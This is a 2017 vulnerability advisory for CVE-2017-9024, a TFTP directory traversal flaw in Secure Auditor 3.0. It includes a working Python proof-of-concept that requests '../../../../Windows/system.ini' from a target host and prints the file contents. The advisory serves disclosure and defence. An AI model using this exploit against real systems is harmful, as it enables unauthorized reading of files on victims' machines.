Secure Auditor 3.0 - Directory Traversal

[+] Credits: John Page aka HYP3RLINX	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SECURE-AUDITOR-v3.0-DIRECTORY-TRAVERSAL.txt
[+] ISR: ApparitionSec            
 


Vendor:
====================
www.secure-bytes.com



Product:
=====================
Secure Auditor - v3.0

Secure Auditor suite is a unified digital risk management solution for conducting automated audits on Windows, Oracle and SQL databases
and Cisco devices.



Vulnerability Type:
===================
Directory Traversal



CVE Reference:
==============
CVE-2017-9024



Security Issue:
================
Secure Bytes Cisco Configuration Manager, as bundled in Secure Bytes Secure Cisco Auditor (SCA) 3.0, has a
Directory Traversal issue in its TFTP Server, allowing attackers to read arbitrary files via ../ sequences in a pathname.




Exploit/POC:
=============
import sys,socket

print 'Secure Auditor v3.0 / Cisco Config Manager'
print 'TFTP Directory Traversal Exploit'
print 'Read ../../../../Windows/system.ini POC'
print 'hyp3rlinx'

HOST = raw_input("[IP]> ")
FILE = '../../../../Windows/system.ini' 
PORT = 69                                        
 
PAYLOAD = "\x00\x01"                #TFTP Read 
PAYLOAD += FILE+"\x00"              #Read system.ini using directory traversal
PAYLOAD += "netascii\x00"           #TFTP Type
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()

print "Victim Data located on : %s " %(HOST)
print out.strip()



Network Access:
===============
Remote




Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification: May 10, 2017
No replies
May 20, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx